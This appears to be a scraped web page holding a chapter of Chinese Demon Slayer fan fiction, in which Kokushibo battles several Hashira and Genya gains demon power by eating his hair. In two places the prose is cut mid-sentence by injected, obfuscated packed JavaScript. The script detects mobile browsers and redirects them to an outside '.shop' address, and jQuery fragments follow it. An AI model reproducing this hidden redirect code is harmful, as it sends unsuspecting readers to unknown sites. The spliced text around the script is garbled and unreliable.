继国严胜敛眉,但此种战法只要近身便也无足为惧。他压下腰背,跨开双腿,自斧头与流星锤攻击未能涉及的下方袭近悲鸣屿行冥,从下往上将刀刃伸出,在这百年中都未能改去的习惯或许刻骨铭心地诉说着继国严胜对于鬼杀队的经历如何无法忘怀——即使他表现得像自己已经全然忘记——刀尖划来,刀身附着的眼球恶意地紧盯着悲鸣屿行冥的脖颈,月华散射。 但一切远超继国严胜的想象。 躯体强健至极点的男人固然拥有无可比拟的力量,但与此同时他高大的身体也有着无与伦比的速度!只有这力量与速度兼备的身躯能支持悲鸣屿行冥在继国严胜伴随着月之呼吸的刀尖到来前就高跃起躲开死亡的预告。 如同扇动翅膀的雨燕般悬停在半空的岩柱依然轻松地向着继国严胜甩出流星锤,他才仅仅借着挥刀的机会躲过流星锤,这一次没能发现斧头已安静地出现在身后。对于杀意敏锐的感知即便在他的直觉中疯狂警报,与身体的联袂演出还是让一切稍晚半步。斧头划破继国严胜后背的衣裳,被勾破的布料悬在斧尖划破空气。 即便如此,也是百年来的头一次……拥有着能将这两样武器同时运用自如的力量,偏偏如此庞大的身躯动作还如此灵敏迅捷,实在让人难以置信…… 一切化作战意肃穆地凝聚在继国严胜心间,他双手握刀反刀在后,紧握刀柄的手臂上青筋乍起。但这一次的斩击难以成功,悲鸣屿行冥操纵流星锤与斧头所带来的攻击营造出一种完美的灯下黑,将锁链的运动方向成功从继国严胜的视线中掩盖。他的刀已被锁链缠住。挥动的刀与舞动的锁链各自代表着一种意志,在这短暂的交锋里,占据上风的是锁链。 继国严胜的刀被折断,黑红的血喷溅而出,断口有着蠕动的肉理切片。与此同时,未被小小插曲影响的二人并未改变计划,月之呼吸与岩之呼吸同时发动。 旋转的流星锤穿过绯红的月色,扭曲变形随意扩散的细小锋刃无时无刻不在撞击着锁链,奏出一阵带有虹光的淋漓。昳丽的刀光之中,继国严胜横过刀,这柄由他血肉铸成的刀已然完好无损,他平静地阐述一切:“被折断的部分会立刻再生,你的攻击毫无意义。” 话音刚落,原本猛烈呼吸着的岩柱刚毅的面庞上,倏忽间裂开一道斜贯他面颊的伤,鲜血顺着破开的皮肉无声无息地流下,将他的表情染上一抹浓重的悲怆。 继国严胜轻轻叹息:“可悲的人类啊……” 毫发无损吗……悲鸣屿行冥清楚知道自己的实力与顶点,他自然考虑过鬼舞辻无惨的强大,甚至不曾被鬼杀队清晰实力的上弦的力量。但那又如何呢?鬼杀队的成员从不相信自己做不到,倘若人有极点,那便竭尽全力抛却一切地突破极点! 他长出一口浊气,比起缓释紧绷的身体与精神,倒不如说是放下了什么枷锁。“本打算把这招留到对付无惨时再用的,但现在落败就本利全无了。”悲鸣屿行冥整理好手中的武器,将斧头与流星锤分别拿稳在双手,手臂交错,力量凝聚,他摆出准备应战的架势,无所谓脸上直流的血液,咬紧牙关。 “现在使出亦是情非得已!”磅礴的斗气在霎时间凝聚于悲鸣屿行冥的身上,贯彻四肢,他的气息沉静若海,唯独战意轩昂。而他的双臂之上,皲裂的岩层一般的深色花纹正在皮肤上涌现。他毫无犹豫地开启了斑纹,哪怕同时开启了死斗的大门。 看着悲鸣屿行冥手臂上完全展露的斑纹,继国严胜忽而陷入一种难言的沉默。“有必要做到这样吗?”他询问道。 他们的视线交接,但岩柱却读懂了这种情绪的内涵,这个鬼竟然会表达出不赞同的情感。 “那又怎样?”悲鸣屿行冥浑不在意。 “只是在为人才的早逝……而惋惜罢了……”脱离沉寂的杀意,或许这是继国严胜化身为鬼以来的数百年里最像人的一刻,此时他的血肉不再永恒,身体也不再强悍,在历史的洪流里,他是并不特别的一滴。继国严胜当然回忆起一些往事,翻过早已泛黄的页面,有些人、有些事、有些得知真相时折磨而苦痛的感情依然鲜活,从未像他抛弃一切那样抛弃他…… 情绪自然变得微妙了,这实在是叫人难以快乐得起来的往事,继国严胜只恨时间为什么没有一道带走它:“斑纹剑士无一例外会在年满25岁之前离开人世……就算让斑纹出现极大地提升了力量……也不过是在提前透支自己的寿命罢了……” 他看着手上转动流星锤的动作依然不停的悲鸣屿行冥,接着说了下去:“已经年满二十五的你在斑纹解锁后,只怕会在今夜之内殒命……” 继国严胜第一次在旁人面前流露出自己内心真正的感受,淡淡的哀伤与怅惘染上他的眉眼,压着五官下沉,纵然生有六目,也带出一阵真切,竟为他洗去漫长生命带来的威压,徒留下一个茫然无措的青年。他发自肺腑地低声发问,犹恐惊扰了什么:“难道你不觉得已经磨炼至趋于化境的□□与剑技……从这世间消失,是一件很令人惋惜的事情吗?” 悲鸣屿行冥的回答则像裸露的山脊一样坚硬直白:“不觉得。”他的神色没有丝毫变化,“毕竟我们早已知晓这件事了。” “你们已经知道了吗?”这个答案出乎继国严胜的预料,他用自己的认知去衡量着所有人,而现在终于被现实击溃。 会否这千年里,也仅他一人? “就算斑纹并未出现,只要我们仍是鬼杀队的一员,便会时刻处于危险之中。”悲鸣屿行冥没有与他说谎的必要,虽然死战在即,两个立场截然不同的人进行这种讨论并无意义,但不知为何,或许是出于对继国严胜身份的认知——他曾经也是一个鬼杀队剑士——能够使用呼吸法的剑士必然不是普通成员,而能位列十二鬼月之首也说明了他的实力不菲,想来在他还是人类的时候,一定也是鬼杀队柱级别的猎鬼人! “哪有事到如今才贪生怕死的道理,只有半吊子觉悟的人是注定无法成为九柱的。”无论如何,都无法理解面前恶鬼背叛的行径,这种可憎的行为简直令人作呕,悲鸣屿行冥由衷感到一阵难以遏制的愤怒,他的胸膛间战意熊熊燃烧,低喝着自己对他的鄙弃:“这是对九柱的侮辱!当真令人怒不可遏!” “我所指的绝非只有生死那种无聊之事……”继国严胜再次开口时语气中只留有纯然的不解,“只要化身为鬼,便可令□□与战技永存于世,你们为什么就是不明白这个道理呢?” 看来鬼扭曲的不仅是自己的生命,还有自己的思想——又或者,只有扭曲的人才会选择化身为鬼吧?可是,他对面前的鬼一点也流不出上心的泪水:“我们根本不屑于去理解你们的歪理。生而为人,死而为人,是我们的骄傲!” 一片死寂。 终于,就和当初在月夜中遇到那位大人,被他用语言点醒一般,所有的问题迎难而解,继国严胜恍然大悟:“原来如此……太遗憾了。” 高大的男人微微蹙起眉:“这遗憾是指?” 他平静地解释:“从外貌来看……你如今应该在27岁上下吧……” 果然。悲鸣屿行冥下意识厉声打断继国严胜的疑惑:“别把你那套无聊的观念擅自强加在他人身上!”他对恶鬼的耐心将尽,不欲再将这个话题继续下去,他们无法互相理解也绝不可能说服对方,一切只不过是浪费他仅剩的宝贵生命。 被无端的愤怒冲击,继国严胜竟然有些局促,他垂下眼,又抬起直直地看向悲鸣屿行冥严肃的脸。 但他没能选择开启新的话题,因为悲鸣屿行冥过于敏感。 “通过刚才的对话,让我意识到……”这位壮硕如山的男人同样心细如发,他一针见血,“你的话中,掺杂着一个谎言。” “你何出此言?”这句话戳中了什么,不甚明晰,但毫无疑问的确正中靶心,所有的情绪在刹那间收敛起来,继国严胜冷哼着:“我的话中绝无半句虚言。” 行冥的脸上微微露出一丝笑意,他点破继国严胜试图掩盖的真相,“那就是有例外之人存在,有剑士在出现斑纹之后还活过了25岁,我没说错吧?” “……” 幼时。再见。并肩。 月夜。月夜。月夜。 最后一个……月夜 继国严胜明明沉默,眼瞳却不由自主地震颤起来。 “动摇得如此厉害,看来我应该是说对了吧……” 话音未落,鬼的攻击突如其来。奇异的是,他的速度变得更快,快过先前对战时的每一次攻击。脱离先前交流时的冷静平和,他的脸上看不出更多的情绪,仿佛只剩下了三对血红的眼睛,带着无法掩饰的愤怒——啊,那倘若能被称为愤怒…… 刀尖数次袭来,悲鸣屿行冥没能从那些细密的锋芒中找到反击的时机,只能被动地使用锁链抵抗着攻击的降临,月色越渐泛红,刀光铺开,继国严胜的反攻是网。他用月之呼吸的攻势编织成一张密不透风的网,凶猛得好似要将悲鸣屿行冥拽入地狱。 而在战斗没有波及的稍远处,炼狱杏寿郎为不死川实弥的伤口做了止血,并且喂他饮下了自己随身携带的一支来世。继国严胜留下的最严重的两道伤痕在来世药效的发挥中极快地变作两道粉色的疤痕,自然地融入进风柱原本就遍布全身的伤疤里。他满身的冷汗,呼吸迅疾得让人疑心下一次喘息是否会停止,粗重的呼吸声带着他紧皱的眉头为原本苍白的脸增添了些许血色,他咬着牙喝下两支苦涩的补血药,强撑着站起。 只是站起身,还未能直起腰背,某种酸胀的疼痛却直直拽着他的身体向地面跌去,不死川实弥就像是丧失了对身体的控制权,只感觉自己已然愈合的两道疤痕上一阵缝线收紧的疼痛——但那只是幻觉。万幸炼狱杏寿郎搀扶了一把,他才没能摔倒,真正站直身,伴随着眼眶中的红血丝一道出现的,还有面颊处浮现的风车状斑纹。 两人收拾完备,短暂一个对视,便不约而同地提起自己的日轮刀冲向悲鸣屿行冥所在的位置加入战斗。 三人配合精妙,无须言语,在岩柱的流星锤被继国严胜避开时,另一侧风必然卷着火焰袭来。 战斗之中,继国严胜看见了不死川实弥面颊上的斑纹,而炼狱杏寿郎身上虽然没能一眼瞧见斑纹所在,但他的攻势与先前已非一个量级,三人的心率均有加快,体温也得到提升,呼吸法的运用更加得心应手。莫非这个年代的柱……全部都是斑纹剑士吗…… 无需回头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613472|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继国严胜瞬间避开自身后飞来的流星锤,抬刀撞上炼狱杏寿郎的刀刃时,他又向后跳去,躲过向着双脚砍来的不死川实弥,月光中刀光闪烁,缠斗愈发紧促。 使用不同呼吸法的剑士,居然能在生死一线的激战中打出如此精妙的配合……他看着呈包围状站定的三人,脑海中思考着什么。 与此同时,早前被炼狱杏寿郎从石柱上救下的时透无一郎正与双臂被断的不死川玄弥汇合。 虽然杏寿郎将刀从无一郎身体中抽出后已经紧急为他洒了止血药,但那毕竟是一个贯穿伤,又将他钉在那柱子上好一会儿。止血药即使勉强控制了伤势的恶化,也无法在短时间内将流出的血液补回。 他的体格是众柱之中最瘦小的,如果现下的伤势得不到合适的处理恐怕用不了几个小时就会因为流血过多而死。无论是因柱的身份还是出于私交,有栖川朝和都为时透无一郎准备了格外丰富的药物,虽然柱们奉行轻装上阵没能全部带齐,但紧急药品有着单独的包装,无一郎还是随身携带了。这便凸显了有栖川朝和的深谋远虑,无一郎拆出补血的补剂喝下,他一边为自己紧急包扎,一边摸索着其他可用的药物。 他并不畏惧死亡,只是必须在死亡之前发挥完自己的余热,为还能战斗的人减轻尽可能多的负担,至少要将上弦之一杀死! 这间宽大的和室仿佛没有尽头,先前战斗着的炼狱杏寿郎等人已经将战斗引到远处。时透无一郎强忍着疼痛拿起自己的刀,向着战斗声传来的方向跑去。途中他忽然听见有人在叫自己,原来是不死川玄弥!即便被砍去双臂,他依然活着! “时透先生!”玄弥同样的脸色苍白,他抬起脸,“抱歉,可以麻烦你帮我把双手拼在一起吗?” “玄弥!你没事!”无一郎惊讶地跑近,大脑有些茫然地处理着玄弥的请求,他对于不死川玄弥独特的战斗方式并不非常了解,这也正常,毕竟从前他都活在自己的世界里。 “是的!”不死川玄弥点点头,“以及,我这里有炼狱先生让我保管的药,说是让我们重伤之后使用。” 不用更多提示,时透无一郎的记忆自然浮现,在刀匠村有栖川朝和为重伤的炭治郎注射了那支名为来世的药物。他清晰记得那种药的奇效,几乎只在眨眼间就治愈了炭治郎的重伤,迅速得好似鬼的治愈能力。来世的药效真好啊……他那时一直想一直想,如果那个时候他能有一支来世,是不是哥哥就不会死了?然而想象终究只是想象,过往无可改变。 但现在,这个改变的机会出现在时透无一郎的面前。他翻开炼狱杏寿郎留下的包裹,里面安安静静地躺着三支青蓝色的注射剂。为玄弥拼好双臂并敷上止血药后,时透无一郎才准备将来世注射进自己的心脉。 冰冷的液体甫一进入身体,他就不由得打了个冷战,一种难以言说的感觉正顺着他的血液流淌,不知为何给他带来莫大的哀伤。超出理解阈值的感情顺着药液肆意在他体内流动,他的身体没有一处不是冷的,低下头想要检查胸口的伤时,从天而降的剧痛攥着浑身的伤口逼得时透无一郎惨叫一声。 “啊!!”只有这么一瞬间的痛。 痛意降临时他的心跳与呼吸都几乎断绝,而疼痛散去,留下的余韵苍白而无力,让无一郎僵直地躺倒缓和了会儿才重新抓住知觉的末梢坐起。就像曾经听说的那样,就像亲眼所见的那样,被贯穿的伤口上粉色的肉蠕行着修复,不一会儿他苍白的胸膛上只留下一道狰狞的疤痕。无论怎么看都感到神奇,他又拆出一包补剂灌进喉咙,已经感觉不到苦涩或甜蜜,被来世修复的身体脱离失血过多的影响,至少降低了死亡的风险,为后续的战斗也做了保障。 因为不确定玄弥的体质是否适用来世,在询问对方的状态确认并不致命后,时透无一郎没有给他使用来世。还有两支药剂,时透无一郎不确定杏寿郎身上是否还有携带,也不确定别人那里是否也有——他上次听朝和提起过,对方正为来世的产量之低感到苦恼。以防万一,这两支必须好好保存。无一郎珍之重之地将药剂重新包裹完备,放入炼狱杏寿郎的包裹。这必须得由远离战斗的人保管,而不死川玄弥自然是最佳人选。 伤情得到控制的不死川玄弥犹豫着看向时透无一郎,最终咬咬牙拜托道:“我还有个不情之请!能请你帮我把掉落在那边的上弦之一的头发拿过来……”他顿了顿,视线从远处地面上那一小缕黑发移到时透无一郎的脸上,与他靛青的双眼对视,“然后喂我吃下吗?” 无一郎张了张嘴。 他知道这一定是一个古怪的要求,想来任何人都无法理解一个人类怎么能吃下鬼的肢体以鬼的方式战斗——那时的他究竟是人还是鬼呢?但不死川玄弥没有选择的机会,从母亲死去的黑夜消散时起,他的人生只剩下一条路。他恳切地看着时透无一郎,“我想战斗到最后一刻……”少年的声线正在颤抖,“我想……保护哥哥,我不想他战死在这儿……” 我想保护哥哥,我不想他战死在这儿。 “……我知道了,”名为时透无一郎的弟弟慌乱地点着头,“一起战斗到最后一刻吧。” 时透无一郎去捡来了继国严胜的头发,小心翼翼地喂玄弥吃下。明明是头发,进入玄弥口中却真的被咀嚼咽下,犹如某种耐嚼的食物。而这头发所带给不死川玄弥的效用也尤为明显,几乎是在他吃完的瞬间,伴随着那如同从身体内部咆哮而出的猛烈喘息,不死川玄弥陷入一种难以言喻的失神。 但诡异的是,他的身体已经自然地接上,双臂没有留有任何创口,哪怕一道疤痕,就好像从未断臂过。好恐怖的恢复速度……不死川玄弥感受着身体内部被这股不属于自己的力量搅得天翻地覆,但这并非只有坏处,鬼的力量就是这样融入他的身体为他所用的,只是从前吃的任何一个鬼的肢体都不如继国严胜这一缕头发来得迅猛……而他的脑袋里……似乎有着什么声音? 只是一小撮头发就有这么强的效果,这就是上弦之一的实力吗? 逐渐缓过神的不死川实弥重新感受着自己恢复原状的身体,不、不仅是恢复原状,得益于继国严胜的力量,他甚至感觉比从前更好,连血液流动的速度都变快了,感觉好畅快…… 他的目光不由闪电般射向继国严胜被岩柱折断的刀尖,那不仅仅是一段刀,更是上弦之一的血肉。 如果把那一节断刃利用起来一起吞掉,他一定可以变得更加…… 但来不及想得更多,除去身体畅快的感受与意识焦灼的对撞,想象中的发展远不如现实多变,脑袋中的声音变得逐渐清晰,就这样直白地在大脑中响起。 “黑死牟……”一个陌生的男人的声音。但不知为何,在听到他的时候,身体中某种因子正在剧烈地颤抖。他冷声询问:“你已经干掉多少个柱了?” 但比起那些,更紧要的忧虑响起:“绝对不能让他们杀到我这里来……” 这……这莫非是……是无惨? 这就是鬼舞辻无惨的声音?! 不死川玄弥不可置信地思考着发生的一切,进一步鬼化之后竟然能够听到无惨的声音,上弦之一带给他的力量究竟把他的身体变成了什么样子…… 75. 破局 原来如此。 在数次兵戈相向的交锋中,继国严胜已然明白。 以他们的实力而言,八成是现任九柱中的佼佼者。 尤其是这个男人。浓血的眼瞳自刀锋间偏移,冰冷的目光落在神情严肃的悲鸣屿行冥身上,他有着人类之中屈指可数的强悍□□,尽管双目失明,却明智地选用了最适合自己的武器。无论是流星锤还是斧头都算得上杀伤力巨大的武器,对于使用者的身体素质与肢体控制能力要求相当之高,但得益于系在中间的那一根长长的锁链,不仅规避了他不能视物的短处,也极大地催发了体型、力量与速度的优势,使得他可以通过锁链发出的声音极其精确地把握周围空间的变化,了解到继国严胜的动作。 这当然匪夷所思,但也的确是个不争的事实。 锁链解构为圆弧状的囚牢,蛇一般向着他的方向涌来,月色中银白的线段闪烁,连缀着破风的呼啸声,刹那间已在眼前。继国严胜压低眉眼,转变了身体的动作从那紧追不舍的攻击中逃脱。丰富的战斗经验足以在明晰真相的瞬间了悟到破局之法。如果只想着要如何杀掉他们或是要如何才能战胜他们,这自然很难,但如果只是要减弱这困境,那就很容易。 只要……先把他的武器毁掉! 首要目标自然是悲鸣屿行冥手中舞动的锁链。血红色的刀从身后向前挥出,其上遍布的眼球迅速地眨动着,为这轮血月增添了不少诡异。 “铛——” 两刀相撞。不死川实弥借由风暴推着自己的刀刃用力劈向继国严胜的武器,那段由鬼的血肉铸成的武器竟然也有着形如金属的声色,恶鬼灭杀四字就这样暴露在月色之中,泛滥出一阵寒意。 但刀这种武器,只要从侧面攻击很轻易便能折断……念头只是刚刚升起,继国严胜手腕微动,翻过刀身,将锋利向上,不知为何……不死川实弥却几乎是同时地竖起刀身,手上的力量陡然增加,直直压着继国严胜的刀撞入地面。尖锐的刀尖刺入地板,如划过空气那样自然。 继国严胜立刻察觉到不对劲。不死川实弥竟然能在瞬间竖起刀并反对他施压,他的反应速度也同样变得更快了! 收回刀,他下意识后跳躲避不死川实弥即将展开的攻击,日轮刀的辐射面有限,要躲开轻而易举,也是到了这个时候,他才发现不死川实弥的面颊上,风车状的斑纹显眼极了。即便他也觉醒了斑纹,方才自己在他身上留下的也是足以让常人完全失去战斗力的致命伤势才对…… 不等他找到答案,风化作旋转的流刃,已恍然无声地经过,将他飞扬的黑发削去大半。显然,头发剪短不会带来疼痛,只是在那刹那他仿佛能清晰地听见风刃一根根切断头发的声音,压过一切喘息与心跳的存在。 明明受了重伤伤及内脏应该失血过度的人,在经历了短暂的休憩后再次进入战斗,他非但没有倒下,行动速度和攻击精度反而更上了一层…… 怎么回事? 究竟是怎么回事……? 漫长的生命原来也无法为这颗黑暗的灵魂带来一切疑惑的解答,在他落地踩住地面的那一秒,炼狱杏寿郎出现在他的身后,炎柱滚烫的刀刃斜着奔向他笔直的脖颈,就在继国严胜想要躲避时,他的面前悲鸣屿行冥悄无声息地逼近,他握紧斧头的手柄,用尽全身力气挥出。 一切只凝聚在一瞬间,但这一瞬间却仿佛一个世纪那么漫长,所有的一切逐帧清晰展现,明明一切都应该在自己预料之中,却变得那么堂皇。 继国严胜侧过头。 太近了,近得他能嗅到制成那把斧头的金属的味道,生冷的气息径直靠近,在皮肤破裂的同时也融进血肉。火辣辣的疼痛感无需任何准备就钻入他感知的神经,他几乎已经忘了自己究竟有多久没有像这样狼狈受伤过,就连再次举起刀以应对袭来的攻击的反应能力也没有。 落在地上的是属于上弦之一——继国严胜的耳朵。 或许说不定也是他的失败与自尊心呢? 看着被炼狱杏寿郎和悲鸣屿行冥挟制着暂时无法脱身的恶鬼,不死川实弥注视着继国严胜,将空气卷成旋风猛烈地削向他。旋风损毁地面,激起一阵尘沙,在漫天的沙尘中什么也看不清,却也无形中将四人的战场分隔开。 下一秒,几乎是同一时间,炎之呼吸、岩之呼吸与风之呼吸不约而同地发动,劲风将烈火吹得愈发旺盛,高温将铁灼成赤红色,呼啸地卷着岩柱手中牵引的斧头与流星锤以极其恐怖的力量相继砸向继国严胜。 但……一切没能奏效。 又或者说,一切出乎三人的预料。 万籁俱寂,呼吸与血液流动的声音皆陷入缄默。发生的一切恍惚如在遥不可及的彼岸,肉眼无法捕捉,意识不能感受,所有感官在这一刻尽数消散,而下一刻,如时钟表盘上的秒钟哒哒走过,世界改头换面,第一个涌上心头的,只有疼痛。 连攻击动作都还未收回的炼狱杏寿郎他们三人身上迸射出鲜血,割伤毫不留情地展露在人类的身躯之上。 怎么可能?!第一反应自然如此,鬼做了什么?经过方才的苦战,他们已经各自对对方有了基础的了解,在这样的距离之下,继国严胜的刀按理来说显然无法斩中他们……但三人身上参差不齐的伤口与汩汩流出的鲜血都在证明一切的发生,被旋风逼退的继国严胜本应该与他们保持着相当的距离,却还是伤到了他们。 他究竟是……怎么做到的? 烟尘逐渐散去。 首先毫不娇怯地露出身形的是那柄刀,横在半空的刀稳稳当当,这柄刀……倘若它还能被叫作一柄刀的话……刀身不知在何时变得更长了,且生出树枝般的分叉,化作一段嶙峋的棘刺,突兀地刺向四面八方。 “只能将衣物砍碎的攻击,可是连婴儿都杀不掉啊……”继国严胜的声音依然如此平静,像极了寂静无声的夜里倒映着天上月亮的一眼深泉,冷漠而无情,叫人不寒而栗。原本穿着正式的上衣似乎在方才的风暴中被撕碎了,然而裸露出的是一具完好无损的身躯,苍白的皮肤上没有一丝伤痕,筋脉微微鼓起的痕迹沿着肌肉游移,其上肌理的构成是以人类的标准而言相当完美的形状,处处彰显着力量与经验的储备。漆黑的发垂散在背后,只有那张诡谲的脸将一切人类的注脚损毁,徒留下某种难以解释的可怖。 碎裂的不仅是他的衣衫,同样还有他求贤若渴的那颗心。在一切理由失色而余地不再有存在的必要时,继国严胜——上弦之一终于露出了他的獠牙。他似笑非笑,揭露出清晰的事实:“只要将你们击杀,剩下的剑士就很好对付了。” 明明只是微微抬高了刀,却不知为何化作一道攻击。 别说是用肉眼看见,就连觉醒斑纹后得到提升的感知竟然也在那速度的映衬下变得迟缓。那是一道无形的斩击! 如果不是悲鸣屿行冥那直觉般的反应及时用锁链进行了格挡,恐怕不死川实弥的手指都会被切落。 但即便如此,不死川实弥的手还是受伤了,指上的皮肉向来脆弱,轻易就会伤及骨骼,血液滴落,十指连心。 可恶!可恶!完全没有反应过来! 瞳孔缩小,手指的疼痛却叫不死川实弥下意识收紧了握刀的手,他颤抖着以更大的力气去稳固刀的平衡,扯下一段布条动作利落且简易地包扎了伤口,在他身体中流动的来世如一股汹涌的热潮,以肉眼能够看到的速度为他生长起血肉。 虽然身上的伤势得益于有栖川家的特效药进行了紧急救治,但如果再受伤,恐怕没有那么好的药来治疗了,就算有,也难以保证它的效用……伤势越重,动作就会越迟缓,届时肯定会拖大家的后腿。而且到了现如今,稀血已经失去效用……可恶!!明明应该鬼越厉害效果就越明显才对啊! 而且那怪物还解开封印似的能以迅雷不及掩耳、谁也无法发觉的神速挥动那把长得惊人的怪刀……即便是不死川实弥也对此毫无判断,大脑中喧嚣的念头乱得不可思议,吵闹着让他始终不能静下心,下一次还能完好地躲开吗?还是索性主动冲上去? 在任何人都没有注意到的上空,戴着符咒的鎹鸦无声飞过,将此间的情形完整地送至远方——鬼杀队的临时据点,新任当主产屋敷辉利哉等人所在的地方。 这位年幼的当主以自己稚嫩的肩膀扛起调度的任令,在大局面前,他只能为他们留下信任。 继国严胜吐出一口浊气,面颊上迸发的青筋正诉说着这位武士所酝酿的力量。他驱使着手中怪异的长刀,肆意挥舞着独有的余裕,仿佛可以斩破源远流长的岁月,将掩埋的那一切情感都消去。憎恶与嫉恨是藏在这恶鬼皮囊之下真正的本我,他沿着月色漫行数百年,终于在今日叩开毁灭的门。 月之呼吸·七之型。 厄运如镜,倒映出继国严胜的命运,月色流转化为五道颀长的斩击,扩散着砸在面前。这时候,面前的敌人究竟身处何处或究竟有多少人已经不再重要了,他的攻无形无色,只在击中的那一刻伴随着破碎展露出全形。攻击距离比起先前增长了好几倍,速度也十分惊人。 哪怕是身为柱的三人,也无法凭借自身的能力完美掌握继国严胜下一次攻击的出现时机,比起防备着什么,倒不如说是用直觉来躲避着骇人的攻击。 月之呼吸·八之型。 然而在三人高高跳起的那瞬间,全新的战技已成功催发。 游龙曳尾,明明继国严胜距离那么远,他的攻击却紧跟着,横扫的锋刃抹着月色,流转的细小月刃在炼狱杏寿郎他们腿上割裂。密集的攻击与身体的伤痕交错着折磨着的柱的心神,他们必须保持着超高度的集中,见缝插针地寻觅着可能存在的破绽——或者只能自己制造破绽?但别说是砍断继国严胜的脖子,在织网似的紧促攻击中,就是想要靠近他都变得分外艰难。他的攻击实在是太快了,且越来越快,毫无章法,只是躲开那些致命的攻击,就已经耗尽他们的全部精力。 可怕的是连续发动着紧促战技的继国严胜毫无异样,他保持着面无表情的神态,似乎毫不费劲,步伐稳稳地踩住地面,只是再次—— 月之呼吸·九之型。 由点连成线,由线延伸成面,无数不同方向的面交接、汇聚、融合,并一再从重叠的交点错出全新的延展,连纵的数面月色构成淡绯色的光幕,带着无法躲避的攻击之势尽情展开。 不能姿态高洁地保留武士那板正尊贵的样子后,继国严胜也就不再掩藏什么了。早就消弭在恶鬼之血中的人性只是虚构的伪装,数次呼吸法高级技能的连续发动,在超远距离内用超强力的攻击将柱隔绝在远处,并以锋利的月刃对他们造成伤害、消磨他们的精力,让他们疲于应对再一次的攻击。 但柱绝不能坐以待毙。即使代价是受伤流血,他们也毫不气馁地一直尝试从攻击中靠近。以速度为长处的风柱总能在两道月刃中瞥见空歇的夹缝,然而继国严胜的攻击如同某种神秘物质,会繁衍增生,会不断地再次出现并堵上先前的漏洞。尝试越过攻击的夹缝时,下一道月色砍在他的后背。他被这股力量压着坠下,只勉强在彻底滚落在地前扭转身姿避至一侧,但骤然承受的伤与下坠还是让他的身体失控,最终无力地摔了出去。 “不死川!” 同伴的忧虑炸响,不死川实弥勉强稳定着四肢爬起,“不要管我!”话音才出,他仍然跪坐在地。 抬头时却只看见满眼的月刃,它们飞速旋转着移动,将全部视野遮蔽成独特的画。他的脊背在那一刻僵硬得无法动作,死亡有独特的气味,无声蔓延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613473|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,遮住不死川实弥的五感。 躲……不开…… 锋芒闪烁,他眼睁睁看着那阵危险的月色以一种势不可当的速度逼近,而自己的视线却忽地上扬,露出这间空旷的和室废墟般的远景,那些顶立着的梁柱或断或碎,构成掩盖视线的雾气的不仅仅是恶鬼战机中的月光,继国严胜就站在那里,一动不动,他面上生有的六眼只用一霎就捕捉到不死川实弥,并贴心地为他带来毛骨悚然的寒意。 “我不会让你死的!” 这道稚嫩的少年声响起,才将不死川实弥再次带回人间,重新夺回感受。 “时透!” 正是赶来的霞柱时透无一郎!他成功在致命瞬间前赶到,抱着无法动弹的不死川实弥倒悬着跃起,躲过那一片片刃网的摧毁。 “我们还要继续战斗!”少年因嘶吼而喑哑的嗓音击破年龄的稚气,他紧紧抱着不死川实弥直到两人在炼狱杏寿郎和悲鸣屿行冥以呼吸法作为接应下安稳地落地。 四位剑士,现任鬼杀队的四个柱,即使都并非在全盛状态,经历数次战斗后各自受伤,体力被消耗,精力也倍感疲惫,但四人都觉醒了斑纹,毫不犹豫地燃烧着生命来全力以赴。这是他们的战场。 而远处,与时透无一郎一同赶来的不死川玄弥身体僵硬地看着战局,那是他无法企及的战斗,作为不会呼吸法的剑士,就像残疾的野兽,他在怀疑自己,怀疑自己真的能行吗?真的能派上用场吗?蓬勃的战意与杀气叠加,哪怕他所在的位置也可以清晰地体会,身体也因此颤抖起来。 万一又很快被发现,被当场腰斩怎么办?即便是他,也不能确定自己鬼化后得到的生命力是否能够支撑自己像鬼一样存活…… 有了时透无一郎的加入,五人的混战再次上演。月色的刀刃如掀起的波澜,一阵阵向着柱的方向滚去,相对炼狱杏寿郎和悲鸣屿行冥而言,受伤更重的时透无一郎和不死川实弥即使有来世的疗效,到底也无法掩盖受伤的存在,应对得更为狼狈。 “哥哥!” 看着风柱受伤,不死川玄弥咬紧牙关,额角青筋紧紧绷着,他用力抓住面前的木柱,汗液冒出。 “哥哥……” “我不能失败,不能让哥哥死在这里!” 悲鸣屿先生……炼狱先生……时透先生……曾经的笑颜在脑海中浮现,强烈的不甘心从他剧烈跳动着的心脏中涌出,可恶!如果他也有九柱那么强的实力就好了!为什么偏偏是他不能使用呼吸法,不能像他们一样?越是想要冲出去为他们助战,身体就越发敏感地体会到面前正激战的氛围而从头到脚地不听使唤……双腿无法动作,情绪却始终喷发着,痛苦无须搅拌就黏稠地抓住他的思想,让他终于只能无力地承认:他真的好害怕…… 好怕自己派不上用场……怕自己保护不了大家……为什么他这么弱呢?他不甘心,不甘心!不甘心就这样下去……说不上究竟这是什么情感,或许是愤怒,或许是痛苦,然后这一切复杂的感知融合在一起化作漆黑一片,淋漓地淤塞住灵魂的出口,控制着他的思想。 【玄弥你听我说,其实最弱小的人反而有着最大的可能性哦。】 不知为何炭治郎的脸浮现。 